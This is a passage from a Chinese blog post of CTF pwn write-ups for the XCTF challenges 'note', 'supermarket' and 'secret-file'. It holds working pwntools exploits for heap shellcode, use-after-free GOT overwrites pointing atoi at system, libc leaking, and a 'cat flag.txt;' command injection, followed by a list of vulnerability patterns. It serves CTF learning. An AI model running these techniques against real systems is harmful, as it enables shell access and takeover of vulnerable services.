       sh.sendlineafter('index:',str(index))   #这地方注意str()
       sh.sendlineafter('size:',str(size))  
       sh.sendafter('content:',content)  
       #这个地方也要注意  /叹气
       #还是send跟sendline的区别  就多送一个字节的问题
       #就在这里产生了如此深远的影响  
      
    def delete(index):  
       sh.sendlineafter('your choice>>','4')  
       sh.sendlineafter('index:',str(index))  
      
    #rax = 0 jmp short next_chunk  
    code0 = (asm('xor rax,rax') + '\x90\x90\xeb\x19')  
    #rax = 0x3B jmp short next_chunk  
    code1= (asm('mov eax,0x3B') + '\xeb\x19') 
    #rsi = 0 jmp short next_chunk  
    #move占俩
    code2 = (asm('xor rsi,rsi') + '\x90\x90\xeb\x19')  
    #rdi = 0 jmp short next_chunk  
    code3 = (asm('xor rdx,rdx') + '\x90\x90\xeb\x19')  
    #系统调用  
    code4 = (asm('syscall').ljust(7,'\x90'))  
      
    create(0,8,'a'*7)  
    create(1,8,code1)  
    create(2,8,code2)  
    create(3,8,code3)  
    create(4,8,code4)  
    #删除第一个堆块  
    delete(0)  
      
    #把第一个堆块申请回来,存入指令,并且把堆指针赋值给数组的-8下标处(atoi的GOT表处),即修改了atoi的GOT表  
    create(-8,8,code0)  
    #getshell  
    sh.sendlineafter('your choice>>','/bin/sh')  
    sh.interactive()  

这是修改free的got

from pwn import *
context.log_level='debug'
context.update(arch='amd64')#没有不行
#io=process("./note")
io=remote("111.198.29.45",59605)
def add(index,content):
    io.recvuntil("your choice>>")
    io.sendline("1")
    io.recvuntil("index:")
    io.sendline(str(index))
    io.recvuntil("size:")
    io.sendline("8")  #全部申请为最大堆块8字节
    io.recvuntil("content:")
    io.sendline(content)
def dele(index):
    io.recvuntil("your choice>>")
    io.sendline("4")
    io.recvuntil("index:")
    io.sendline(str(index))

add(0,"/bin/sh")
add(-17,asm("xor rsi,rsi")+"\x90\x90\xeb\x19") #0x90即nop ;EB即 jmp short
add(1,asm("mov eax, 0x3b")+"\xeb\x19")
add(2,asm("xor rdx, rdx")+"\x90\x90\xeb\x19")
add(3,asm("syscall").ljust(7,"\x90"))
dele(0)

io.interactive()
io.close()

小贴士:以后看着长这样的 他就是申请一个堆

在这里插入图片描述
在这里插入图片描述它每次那个堆里面都会拿最后一个字节来存0
你看那个for的条件就知道了。

17 supermarket

有几个链接对这道题很有帮助
首先是这道题的分析
另一个分析
然后是这道题包括上面堆漏洞提到的fastbin
fastbin的利用
这块知识的一个延伸
然后这道题的unsorted bin
然后联系起来的溢出利用FILE结构体
最后是对FILE结构体的解释

应对这种分析起来有些复杂的程序,就先跑一跑,立马清晰很多。

在这里插入图片描述
这题最重要的是你得首先分析出它有个结构体来

在这里插入图片描述
在这里面对其分析,s2数组里面存的是地址,所以就有后面的(&s2)[v5] + 5 类似这样的东西,这就是结构体。

这题也是分成了Dynelf跟Libcsearcher

下面这是LibcSearcher

#coding:utf-8
from pwn import *
 
# context.log_level = 'debug'
debug = 1 
 
if debug == 1:
    r = process('./supermarket')
    # gdb.attach(r)
else:
    r = remote('111.198.29.45', 56608)
 
 
def add(name, price, descrip_size, description):
    r.recvuntil('your choice>> ')
    r.send('1\n')
 
    r.recvuntil('name:')
    r.send(name + '\n')
 
    r.recvuntil('price:')
    r.send(str(price) + '\n')
 
    r.recvuntil('descrip_size:')
    r.send(str(descrip_size) + '\n')
 
    r.recvuntil('description:')
    r.send(str(description) + '\n')
    
 
def dele(name):
    r.recvuntil('your choice>> ')
    r.send('2\n')
 
    r.recvuntil('name:')
    r.send(name + '\n')
 
def lis():
    r.recvuntil('your choice>> ')
    r.send('3\n')
    r.recvuntil('all  commodities info list below:\n')
    return r.recvuntil('\n---------menu---------')[:-len('\n---------menu---------')]
 
def changePrice(name, price):
    r.recvuntil('your choice>> ')
    r.send('4\n')
 
    r.recvuntil('name:')
    r.send(name + '\n')
 
    r.recvuntil('input the value you want to cut or rise in:')
    r.send(str(price) + '\n')
 
def changeDes(name, descrip_size, description):
    r.recvuntil('your choice>> ')
    r.send('5\n')
    
    r.recvuntil('name:')
    r.send(name + '\n')
 
    r.recvuntil('descrip_size:')
    r.send(str(descrip_size) + '\n')
 
    r.recvuntil('description:')
    r.send(description + '\n')
 
def exit():
    r.recvuntil('your choice>> ')
    r.send('6\n')
 
 
add('1', 10, 8, 'a')
add('2', 10, 0x98, 'a')
add('3', 10, 4, 'a')
changeDes('2', 0x100, 'a')
add('4', 10, 4, 'a')
 
def leak_one(address):
    changeDes('2', 0x98, '4' + '\x00' * 0xf + p32(2) + p32(0x8) + p32(address))
    res = lis().split('des.')[-1]
    if(res == '\n'):
        return '\x00'
    return res[0]
 
def leak(address):
    content =  leak_one(address) + leak_one(address + 1) + leak_one(address + 2) + leak_one(address + 3)
    log.info('%#x => %#x'%(address, u32(content)))
    return content
 
d = DynELF(leak, elf = ELF('./supermarket'))
system_addr = d.lookup('system', 'libc') 
log.info('system \'s address = %#x'%(system_addr))
bin_addr = 0x0804B0B8
changeDes('1', 0x8, '/bin/sh\x00')
changeDes('2', 0x98, '4' + '\x00' * 0xf + p32(2) + p32(0x8) + p32(0x0804B018))
changeDes('4', 8, p32(system_addr))
dele('1')
 
r.interactive()

然后是LibcSearcher

#coding:utf8  
from pwn import *  
from LibcSearcher import *  
sh = remote('111.198.29.45',55879)  
elf = ELF('./supermarket')  
atoi_got = elf.got['atoi']  
def create(index,size,content):  
   sh.sendlineafter('your choice>>','1')  
   sh.sendlineafter('name:',str(index))  
   sh.sendlineafter('price:','10')  
   sh.sendlineafter('descrip_size:',str(size))  
   sh.sendlineafter('description:',content)  
def delete(index):  
   sh.sendlineafter('your choice>>','2')  
   sh.sendlineafter('name:',str(index))  
def show():  
   sh.sendlineafter('your choice>>','3')  
def edit(index,size,content):  
   sh.sendlineafter('your choice>>','5')  
   sh.sendlineafter('name:',str(index))  
   sh.sendlineafter('descrip_size:',str(size))  
   sh.sendlineafter('description:',content)  
#node0  
create(0,0x80,'a'*0x10)  
#node1,只用来做分隔作用,防止块合并  
create(1,0x20,'b'*0x10)  
#realloc node0->description  
#注意不要加任何数据,因为我们发送的数据写入到的是一个被free的块(仔细思考一下这句话),这会导致后面malloc时出错  
edit(0,0x90,'')  
#现在node2将被分配到node0的原description处  
create(2,0x20,'d'*0x10)  
payload = '2'.ljust(16,'\x00') + p32(20) + p32(0x20) + p32(atoi_got)  
#由于没有把realloc返回的指针赋值给node0->description,因此node0->description还是原来那个地址处,现在存的是node1  
#因此edit(0)就是编辑node1的结构体,我们通过修改,把node1->description指向atoi的got表  
edit(0,0x80,payload)  
#泄露信息  
show()  
sh.recvuntil('2: price.20, des.')  
#泄露atoi的加载地址  
atoi_addr = u32(sh.recvuntil('\n').split('\n')[0].ljust(4,'\x00'))  
libc = LibcSearcher('atoi',atoi_addr)  
libc_base = atoi_addr - libc.dump('atoi')  
system_addr = libc_base + libc.dump('system')  
#修改atoi的表,将它指向system  
edit(2,0x20,p32(system_addr))  
#getshell  
sh.sendlineafter('your choice>>','/bin/sh')  
sh.interactive()  

有点自己的理解
这题还是基于UAF的思想,我感觉UAF他就是一个指针干不了的事情让另一个指针去给它干,比如这个题,create2不能去修改自己chunk内容做到泄露地址,于是就把这个事情交给create0,让它来完成。

为了理解他的利用过程,我还画了个图……

在这里插入图片描述

我深刻感觉这个题是这18个里面最难的了吧……

18 secret-file

popen函数的使用
popen函数

这个题难在对里面乱七八糟逻辑的分析。

介绍几个函数,方便理解。
原型:char *strrchr(const char *str, char c);
找一个字符c在另一个字符串str中末次出现的位置(也就是从str的右侧开始查找字符c首次出现的位置),并返回从字符串中的这个位置起,一直到字符串结束的所有字符。如果未能找到指定字符,那么函数将返回NULL。

大佬的wp

#短短几句 真难  /叹气
from pwn import *  
import hashlib  
sh = remote('111.198.29.45',31436)  
padding = 'a'*0x100  
payload = padding + 'cat flag.txt;'.ljust(0x1B,' ') + hashlib.sha256(padding).hexdigest()  
sh.sendline(payload)  
sh.interactive() 

总结

我想对这里面所有值得注意的漏洞点进行一个总结方便以后能迅速找到漏洞
栈溢出的一些函数 read strcpy gets getline strcat……
数组下标越界,也就是数组索引时没有检查边界
函数指针类型强制转换
格式化字符串的printf家族
申请字符串空间小于允许读入的字符串个数

有几天主线
从栈漏洞到堆漏洞的过度
从新手区最后libc的引入到没有libc库需要通过栈溢出泄露函数地址再到需要劫持GOT表泄露地址再到需要通过堆漏洞劫持GOT表泄露地址
堆漏洞的进入 开始简单的UAF跟堆shellcode
里面也有一下旁支
比如popen函数
fini.array的覆盖
shutdown功能

先就这吧。

### 关于攻防世界PWN-100题目的解答 #### 解决方案概述 对于攻防世界PWN-100题目,通常涉及的是基础的缓冲区溢出攻击。这类题目旨在测试参赛者对Linux防护机制的理解程度以及绕过这些保护措施的能力。常见的技术包括但不限于返回导向编程(Return-Oriented Programming, ROP)、重定向到已知位置的shellcode执行(ret2shellcode)或是利用动态链接库中的函数实现系统命令调用(ret2libc)[^1]。 #### 技术细节 当面对没有启用地址空间布局随机化(ASLR)且未开启不可执行堆栈(NX bit off)的情况时,可以直接采用`ret2shellcode`的方式解决问题。此方法要求选手能够找到足够的空间放置自定义的shellcode,并通过控制EIP指向这段代码来完成最终的目标——通常是打开一个远程shell连接给攻击者[^3]。 如果遇到开启了NX位但是禁用了位置独立可执行文件(PIE),那么可以考虑使用`ret2libc`策略。这种方法依赖于将返回地址设置为标准C库(glibc)内的某个有用功能的位置,比如system()函数,从而间接地触发所需的恶意操作而无需注入新的机器码片段。 针对具体环境下的不同情况,还需要掌握诸如IDA Pro这样的反汇编工具来进行二进制分析工作;同时熟悉GDB调试技巧以便更好地理解程序内部逻辑并定位潜在的安全漏洞所在之处。 ```python from pwn import * # 连接到远程服务 conn = remote('challenge.ctf.games', PORT) # 发送payload前先接收初始消息 print(conn.recvline()) # 构造payload offset = 64 # 假设偏移量为64字节 junk = b'A' * offset return_address = pack('<I', 0xdeadbeef) # 替换为目标地址 exploit_payload = junk + return_address # 发送payload conn.send(exploit_payload) # 接收响应数据 result = conn.recvall() print(result.decode()) ```
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值